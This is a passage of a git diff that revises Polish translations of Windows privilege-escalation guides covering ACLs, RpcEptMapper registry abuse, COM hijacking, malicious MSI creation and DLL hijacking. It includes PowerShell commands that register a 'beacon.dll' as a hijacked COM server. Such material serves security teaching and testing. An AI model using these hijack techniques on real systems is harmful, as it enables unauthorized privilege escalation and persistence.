takie jak do kogo zasada ma zastosowanie (używając Identyfikatora Zabezpieczeń lub SID), co zasada pozwala lub odmawia (używając maski dostępu) oraz jak jest dziedziczona przez inne obiekty. #### Kluczowe Różnice Między Typami ACE -- **Ogólne ACEs** są odpowiednie dla prostych scenariuszy kontroli dostępu, gdzie ta sama zasada ma zastosowanie do wszystkich aspektów obiektu lub do wszystkich obiektów w kontenerze. -- **Specyficzne dla Obiektu ACEs** są używane w bardziej złożonych scenariuszach, szczególnie w środowiskach takich jak Active Directory, gdzie może być konieczne kontrolowanie dostępu do konkretnych właściwości obiektu w inny sposób. +- **Ogólne ACE** są odpowiednie dla prostych scenariuszy kontroli dostępu, gdzie ta sama zasada ma zastosowanie do wszystkich aspektów obiektu lub do wszystkich obiektów w kontenerze. +- **Specyficzne dla Obiektu ACE** są używane w bardziej złożonych scenariuszach, szczególnie w środowiskach takich jak Active Directory, gdzie może być konieczne kontrolowanie dostępu do konkretnych właściwości obiektu w inny sposób. -Podsumowując, ACLs i ACEs pomagają definiować precyzyjne kontrole dostępu, zapewniając, że tylko odpowiednie osoby lub grupy mają dostęp do wrażliwych informacji lub zasobów, z możliwością dostosowania praw dostępu do poziomu pojedynczych właściwości lub typów obiektów. +Podsumowując, ACL i ACE pomagają definiować precyzyjne kontrole dostępu, zapewniając, że tylko odpowiednie osoby lub grupy mają dostęp do wrażliwych informacji lub zasobów, z możliwością dostosowania praw dostępu do poziomu poszczególnych właściwości lub typów obiektów. ### Układ Wpisu Kontroli Dostępu -| Pole ACE | Opis | +| Pole ACE | Opis | | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Typ | Flaga, która wskazuje typ ACE. Windows 2000 i Windows Server 2003 obsługują sześć typów ACE: Trzy ogólne typy ACE, które są przypisane do wszystkich obiektów zabezpieczających. Trzy specyficzne dla obiektu typy ACE, które mogą występować dla obiektów Active Directory. | +| Typ | Flaga, która wskazuje typ ACE. Windows 2000 i Windows Server 2003 obsługują sześć typów ACE: Trzy ogólne typy ACE, które są przypisane do wszystkich obiektów zabezpieczonych. Trzy specyficzne dla obiektu typy ACE, które mogą występować dla obiektów Active Directory. | | Flagi | Zestaw bitowych flag, które kontrolują dziedziczenie i audyt. | -| Rozmiar | Liczba bajtów pamięci, które są przydzielane dla ACE. | -| Maska dostępu | 32-bitowa wartość, której bity odpowiadają prawom dostępu do obiektu. Bity mogą być ustawione w trybie włączonym lub wyłączonym, ale znaczenie ustawienia zależy od typu ACE. Na przykład, jeśli bit odpowiadający prawu do odczytu uprawnień jest włączony, a typ ACE to Odrzuć, ACE odmawia prawa do odczytu uprawnień obiektu. Jeśli ten sam bit jest ustawiony w trybie włączonym, ale typ ACE to Zezwól, ACE przyznaje prawo do odczytu uprawnień obiektu. Więcej szczegółów dotyczących maski dostępu znajduje się w następnej tabeli. | +| Rozmiar | Liczba bajtów pamięci, które są przydzielane dla ACE. | +| Maska dostępu | 32-bitowa wartość, której bity odpowiadają prawom dostępu do obiektu. Bity mogą być ustawione włączone lub wyłączone, ale znaczenie ustawienia zależy od typu ACE. Na przykład, jeśli bit odpowiadający prawu do odczytu uprawnień jest włączony, a typ ACE to Odrzuć, ACE odmawia prawa do odczytu uprawnień obiektu. Jeśli ten sam bit jest ustawiony włączony, ale typ ACE to Zezwól, ACE przyznaje prawo do odczytu uprawnień obiektu. Więcej szczegółów dotyczących maski dostępu znajduje się w następnej tabeli. | | SID | Identyfikuje użytkownika lub grupę, których dostęp jest kontrolowany lub monitorowany przez ten ACE. | ### Układ Maski Dostępu | Bit (Zakres) | Znaczenie | Opis/Przykład | | ----------- | ---------------------------------- | ----------------------------------------- | -| 0 - 15 | Specyficzne Prawa Dostępu do Obiektu | Odczyt danych, Wykonanie, Dodanie danych | -| 16 - 22 | Standardowe Prawa Dostępu | Usunięcie, Zapisz ACL, Zapisz Właściciela | +| 0 - 15 | Specyficzne dla obiektu prawa dostępu | Odczyt danych, Wykonaj, Dodaj dane | +| 16 - 22 | Standardowe prawa dostępu | Usuń, Zapisz ACL, Zapisz właściciela | | 23 | Może uzyskać dostęp do ACL zabezpieczeń | | | 24 - 27 | Zarezerwowane | | -| 28 | Ogólne WSZYSTKO (Odczyt, Zapis, Wykonanie) | Wszystko poniżej | -| 29 | Ogólne Wykonanie | Wszystko, co jest potrzebne do wykonania programu | -| 30 | Ogólne Zapis | Wszystko, co jest potrzebne do zapisu do pliku | +| 28 | Ogólne WSZYSTKO (Odczyt, Zapis, Wykonaj) | Wszystko poniżej | +| 29 | Ogólne Wykonaj | Wszystko, co jest potrzebne do wykonania programu | +| 30 | Ogólne Zapisz | Wszystko, co jest potrzebne do zapisu do pliku | | 31 | Ogólne Odczyt | Wszystko, co jest potrzebne do odczytu pliku | ## Odnośniki diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md index 77f95d6de..15fbde6ae 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md +++ b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md @@ -9,7 +9,7 @@ Znaleziono dwa klucze rejestru, które były zapisywalne przez bieżącego użyt - **`HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`** - **`HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`** -Zasugerowano sprawdzenie uprawnień usługi **RpcEptMapper** za pomocą **regedit GUI**, szczególnie zakładki **Efektywne uprawnienia** w oknie **Zaawansowane ustawienia zabezpieczeń**. Takie podejście umożliwia ocenę przyznanych uprawnień dla konkretnych użytkowników lub grup bez potrzeby badania każdego wpisu kontroli dostępu (ACE) z osobna. +Zasugerowano sprawdzenie uprawnień usługi **RpcEptMapper** za pomocą **regedit GUI**, a konkretnie zakładki **Efektywne uprawnienia** w oknie **Zaawansowane ustawienia zabezpieczeń**. Takie podejście umożliwia ocenę przyznanych uprawnień dla konkretnych użytkowników lub grup bez potrzeby badania każdego wpisu kontroli dostępu (ACE) z osobna. Zrzut ekranu pokazał uprawnienia przypisane użytkownikowi o niskich uprawnieniach, wśród których wyróżniało się uprawnienie **Utwórz podklucz**. To uprawnienie, znane również jako **AppendData/AddSubdirectory**, odpowiada ustaleniom skryptu. @@ -19,7 +19,7 @@ Pomimo tych ograniczeń, zidentyfikowano potencjał do eskalacji uprawnień popr Skonsultowano dokumentację na temat podklucza **Performance** i jego wykorzystania do monitorowania wydajności, co doprowadziło do opracowania dowodu koncepcji DLL. Ta DLL, demonstrująca implementację funkcji **OpenPerfData**, **CollectPerfData** i **ClosePerfData**, została przetestowana za pomocą **rundll32**, potwierdzając jej operacyjną skuteczność. -Celem było zmuszenie **usługi RPC Endpoint Mapper** do załadowania stworzonych DLL do wydajności. Obserwacje ujawniły, że wykonywanie zapytań klas WMI związanych z danymi wydajnościowymi za pomocą PowerShell skutkowało utworzeniem pliku dziennika, co umożliwiło wykonanie dowolnego kodu w kontekście **LOCAL SYSTEM**, przyznając tym samym podwyższone uprawnienia. +Celem było zmuszenie **usługi RPC Endpoint Mapper** do załadowania stworzonych DLL wydajności. Obserwacje ujawniły, że wykonywanie zapytań klas WMI związanych z danymi wydajności za pomocą PowerShell skutkowało utworzeniem pliku dziennika, co umożliwiło wykonanie dowolnego kodu w kontekście **LOCAL SYSTEM**, przyznając tym samym podwyższone uprawnienia. Podkreślono trwałość i potencjalne implikacje tej luki, zwracając uwagę na jej znaczenie dla strategii poeksploatacyjnych, ruchu lateralnego oraz unikania systemów antywirusowych/EDR. diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 627862bab..4a6e2ba07 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -10,7 +10,7 @@ Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników, **COM Hij - gdzie _Wynik_ to **NAME NOT FOUND**. - i _Ścieżka_ kończy się na **InprocServer32**. -Gdy zdecydujesz, który nieistniejący COM chcesz udawać, wykonaj następujące polecenia. _Bądź ostrożny, jeśli zdecydujesz się udawać COM, który jest ładowany co kilka sekund, ponieważ to może być przesadą._ +Gdy zdecydujesz, który nieistniejący COM chcesz naśladować, wykonaj następujące polecenia. _Bądź ostrożny, jeśli zdecydujesz się naśladować COM, który jest ładowany co kilka sekund, ponieważ to może być przesadą._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F ``` ### Hijackowalne komponenty COM harmonogramu zadań -Windows Tasks używają niestandardowych wyzwalaczy do wywoływania obiektów COM, a ponieważ są wykonywane przez Harmonogram zadań, łatwiej przewidzieć, kiedy będą uruchamiane. +Zadania systemu Windows używają niestandardowych wyzwalaczy do wywoływania obiektów COM, a ponieważ są one wykonywane przez Harmonogram zadań, łatwiej jest przewidzieć, kiedy zostaną uruchomione. 
# Pokaż CLSID COM
 $Tasks = Get-ScheduledTask
diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
index f0eabf7d0..2c1a5b232 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
@@ -4,7 +4,7 @@
 
 Tworzenie instalatora MSI zostanie przeprowadzone przy użyciu wixtools, a konkretnie zostaną wykorzystane [wixtools](http://wixtoolset.org). Warto wspomnieć, że próbowano alternatywnych budowniczych MSI, ale nie były one skuteczne w tym przypadku.
 
-Aby uzyskać pełne zrozumienie przykładów użycia wix MSI, zaleca się zapoznanie z [tą stroną](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Tutaj można znaleźć różne przykłady ilustrujące użycie wix MSI.
+Aby uzyskać pełne zrozumienie przykładów użycia wix MSI, zaleca się zapoznanie się z [tą stroną](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Tutaj można znaleźć różne przykłady ilustrujące użycie wix MSI.
 
 Celem jest wygenerowanie MSI, które uruchomi plik lnk. Aby to osiągnąć, można wykorzystać następujący kod XML ([xml stąd](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
 ```markup
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
index d73e274b1..68e6de634 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
@@ -10,7 +10,7 @@ DLL Hijacking polega na manipulowaniu zaufaną aplikacją w celu załadowania z
 
 ### Common Techniques
 
-Wykorzystywanych jest kilka metod do hijackingu DLL, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji:
+Wykorzystywanych jest kilka metod do DLL hijacking, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji:
 
 1. **DLL Replacement**: Wymiana autentycznego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.
 2. **DLL Search Order Hijacking**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji.
@@ -36,19 +36,19 @@ Jeśli szukasz **brakującego dll w konkretnym pliku wykonywalnym**, powinieneś
 
 ## Exploiting Missing Dlls
 
-Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie wyszukiwany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, gdzie dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze.
+Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie wyszukiwany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, w którym dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze.
 
 ### Dll Search Order
 
 **W dokumentacji** [**Microsoftu**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **możesz znaleźć, jak DLL są ładowane konkretnie.**
 
-**Aplikacje Windows** szukają DLL, podążając za zestawem **zdefiniowanych ścieżek wyszukiwania**, przestrzegając określonej sekwencji. Problem hijackingu DLL pojawia się, gdy złośliwy DLL jest strategicznie umieszczany w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem, aby temu zapobiec, jest upewnienie się, że aplikacja używa ścieżek bezwzględnych, gdy odnosi się do wymaganych DLL.
+**Aplikacje Windows** szukają DLL, podążając za zestawem **zdefiniowanych ścieżek wyszukiwania**, przestrzegając określonej sekwencji. Problem z DLL hijacking pojawia się, gdy złośliwy DLL jest strategicznie umieszczany w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem, aby temu zapobiec, jest upewnienie się, że aplikacja używa ścieżek bezwzględnych, gdy odnosi się do wymaganych DLL.
 
 Możesz zobaczyć **kolejność wyszukiwania DLL w systemach 32-bitowych** poniżej:
 
 1. Katalog, z którego załadowano aplikację.
 2. Katalog systemowy. Użyj funkcji [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows\System32_)
-3. Katalog systemowy 16-bitowy. Nie ma funkcji, która uzyskuje ścieżkę do tego katalogu, ale jest on przeszukiwany. (_C:\Windows\System_)
+3. Katalog systemu 16-bitowego. Nie ma funkcji, która uzyskuje ścieżkę do tego katalogu, ale jest on przeszukiwany. (_C:\Windows\System_)
 4. Katalog Windows. Użyj funkcji [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows_)
 5. Bieżący katalog.
 6. Katalogi wymienione w zmiennej środowiskowej PATH. Należy zauważyć, że nie obejmuje to ścieżki per-aplikacji określonej przez klucz rejestru **App Paths**. Klucz **App Paths** nie jest używany przy obliczaniu ścieżki wyszukiwania DLL.
@@ -65,7 +65,7 @@ Istnieją inne sposoby na zmianę sposobów zmiany kolejności wyszukiwania, ale
 
 W dokumentacji Windows zauważono pewne wyjątki od standardowej kolejności wyszukiwania DLL:
 
-- Gdy napotkany jest **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**.
+- Gdy napotkano **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**.
 - W przypadkach, gdy DLL jest rozpoznawany jako **znany DLL** dla bieżącej wersji Windows, system wykorzysta swoją wersję znanego DLL, wraz z wszelkimi jego zależnymi DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych znanych DLL.
 - Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL odbywa się tak, jakby były wskazywane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę.
 
@@ -77,9 +77,9 @@ W dokumentacji Windows zauważono pewne wyjątki od standardowej kolejności wys
 - Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem pliku wykonywalnego lub katalogiem w ścieżce systemowej.
 
 Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie jest dość dziwne znaleźć uprzywilejowany plik wykonywalny bez dll** i jest jeszcze **dziwniejsze mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\
-W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** hijackingu DLL dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu).
+W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** DLL hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu).
 
-Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze** wykonując:
+Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze**, wykonując:
 ```bash
 accesschk.exe -dqv "C:\Python27"
 icacls "C:\Python27"
@@ -101,19 +101,19 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
 
 ### Narzędzia automatyczne
 
-[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze wewnątrz systemowego PATH.\
+[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w system PATH.\
 Inne interesujące narzędzia automatyczne do odkrywania tej podatności to **funkcje PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
 
 ### Przykład
 
-W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, będzie **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. Tak czy inaczej, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../authentication-credentials-uac-and-efs.md#uac) lub z [**High Integrity do SYSTEM**](./#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
+W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, byłoby **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. Tak czy inaczej, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../authentication-credentials-uac-and-efs.md#uac) lub z [**High Integrity do SYSTEM**](./#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
 Ponadto, w **następnej sekcji** możesz znaleźć kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**.
 
 ## **Tworzenie i kompilowanie Dlls**
 
 ### **Dll Proxifying**
 
-W zasadzie **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami**, **przekazując wszystkie wywołania do prawdziwej biblioteki**.
+W zasadzie **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami** poprzez **przekazywanie wszystkich wywołań do prawdziwej biblioteki**.
 
 Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz faktycznie **wskazać wykonywalny plik i wybrać bibliotekę**, którą chcesz proxify i **wygenerować proxified dll** lub **wskazać Dll** i **wygenerować proxified dll**.
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
index 86433187b..34b0ff5f7 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
@@ -2,28 +2,23 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

 
-**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
-## Basic Information
+## Podstawowe informacje
 
 DLL Hijacking polega na manipulowaniu zaufaną aplikacją w celu załadowania złośliwego DLL. Termin ten obejmuje kilka taktyk, takich jak **DLL Spoofing, Injection i Side-Loading**. Jest głównie wykorzystywany do wykonywania kodu, osiągania trwałości i, rzadziej, eskalacji uprawnień. Mimo że skupiamy się tutaj na eskalacji, metoda hijackingu pozostaje spójna w różnych celach.
 
-### Common Techniques
+### Powszechne techniki
 
-Wykorzystywanych jest kilka metod do DLL hijacking, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji:
+W przypadku DLL hijacking stosuje się kilka metod, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji:
 
-1. **DLL Replacement**: Zamiana prawdziwego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.
-2. **DLL Search Order Hijacking**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji.
-3. **Phantom DLL Hijacking**: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL.
-4. **DLL Redirection**: Modyfikowanie parametrów wyszukiwania, takich jak `%PATH%` lub pliki `.exe.manifest` / `.exe.local`, aby skierować aplikację do złośliwego DLL.
-5. **WinSxS DLL Replacement**: Zastępowanie legalnego DLL złośliwym odpowiednikiem w katalogu WinSxS, metoda często związana z DLL side-loading.
-6. **Relative Path DLL Hijacking**: Umieszczanie złośliwego DLL w katalogu kontrolowanym przez użytkownika z skopiowaną aplikacją, przypominając techniki Binary Proxy Execution.
+1. **Zastąpienie DLL**: Wymiana autentycznego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.
+2. **Hijacking kolejności wyszukiwania DLL**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji.
+3. **Hijacking Phantom DLL**: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL.
+4. **Redirection DLL**: Modyfikowanie parametrów wyszukiwania, takich jak `%PATH%` lub pliki `.exe.manifest` / `.exe.local`, aby skierować aplikację do złośliwego DLL.
+5. **Zastąpienie DLL w WinSxS**: Zastąpienie legalnego DLL złośliwym odpowiednikiem w katalogu WinSxS, metoda często związana z DLL side-loading.
+6. **Hijacking DLL z użyciem ścieżki względnej**: Umieszczanie złośliwego DLL w katalogu kontrolowanym przez użytkownika z skopiowaną aplikacją, przypominając techniki Binary Proxy Execution.
 
-## Finding missing Dlls
+## Znajdowanie brakujących DLL
 
 Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomienie [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) z sysinternals, **ustawiając** **następujące 2 filtry**:
 
@@ -35,18 +30,18 @@ i pokazując tylko **Aktywność systemu plików**:
 
 ![](<../../../images/image (153).png>)
 
-Jeśli szukasz **brakujących dll w ogóle**, powinieneś **pozostawić** to uruchomione przez kilka **sekund**.\
-Jeśli szukasz **brakującego dll w konkretnej aplikacji**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\", uruchomić go i zatrzymać rejestrowanie zdarzeń**.
+Jeśli szukasz **brakujących DLL ogólnie**, powinieneś **pozostawić** to działające przez kilka **sekund**.\
+Jeśli szukasz **brakującego DLL w konkretnym pliku wykonywalnym**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\", wykonać go i zatrzymać rejestrowanie zdarzeń**.
 
-## Exploiting Missing Dlls
+## Wykorzystywanie brakujących DLL
 
-Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jakimś **miejscu, gdzie będzie szukany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, w którym dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze.
+Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania DLL, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie wyszukiwany**. Dlatego będziemy mogli **napisać** DLL w **katalogu**, w którym **DLL jest wyszukiwany przed** katalogiem, w którym znajduje się **oryginalny DLL** (dziwny przypadek), lub będziemy mogli **napisać w jakimś katalogu, w którym DLL będzie wyszukiwany**, a oryginalny **DLL nie istnieje** w żadnym katalogu.
 
-### Dll Search Order
+### Kolejność wyszukiwania DLL
 
 **W dokumentacji** [**Microsoftu**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **możesz znaleźć, jak DLL są ładowane konkretnie.**
 
-**Aplikacje Windows** szukają DLL, podążając za zestawem **zdefiniowanych ścieżek wyszukiwania**, przestrzegając określonej sekwencji. Problem DLL hijacking pojawia się, gdy szkodliwy DLL jest strategicznie umieszczany w jednej z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem, aby temu zapobiec, jest upewnienie się, że aplikacja używa ścieżek bezwzględnych, gdy odnosi się do wymaganych DLL.
+**Aplikacje Windows** szukają DLL, podążając za zestawem **zdefiniowanych ścieżek wyszukiwania**, przestrzegając określonej sekwencji. Problem z DLL hijacking pojawia się, gdy złośliwy DLL jest strategicznie umieszczany w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem, aby temu zapobiec, jest upewnienie się, że aplikacja używa ścieżek bezwzględnych, gdy odnosi się do wymaganych DLL.
 
 Możesz zobaczyć **kolejność wyszukiwania DLL w systemach 32-bitowych** poniżej:
 
@@ -59,28 +54,28 @@ Możesz zobaczyć **kolejność wyszukiwania DLL w systemach 32-bitowych** poni
 
 To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode**. Gdy jest wyłączony, bieżący katalog awansuje na drugie miejsce. Aby wyłączyć tę funkcję, utwórz wartość rejestru **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i ustaw ją na 0 (domyślnie jest włączona).
 
-Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywoływana z **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje.
+Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywoływana z **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie rozpoczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje.
 
-Na koniec zauważ, że **dll może być załadowany, wskazując bezwzględną ścieżkę zamiast tylko nazwy**. W takim przypadku ten dll **będzie wyszukiwany tylko w tej ścieżce** (jeśli dll ma jakieś zależności, będą one wyszukiwane tak, jakby były załadowane tylko po nazwie).
+Na koniec zauważ, że **DLL może być załadowany, wskazując bezwzględną ścieżkę, a nie tylko nazwę**. W takim przypadku ten DLL **będzie wyszukiwany tylko w tej ścieżce** (jeśli DLL ma jakiekolwiek zależności, będą one wyszukiwane tak, jakby były załadowane tylko po nazwie).
 
-Istnieją inne sposoby na zmianę sposobów zmiany kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać.
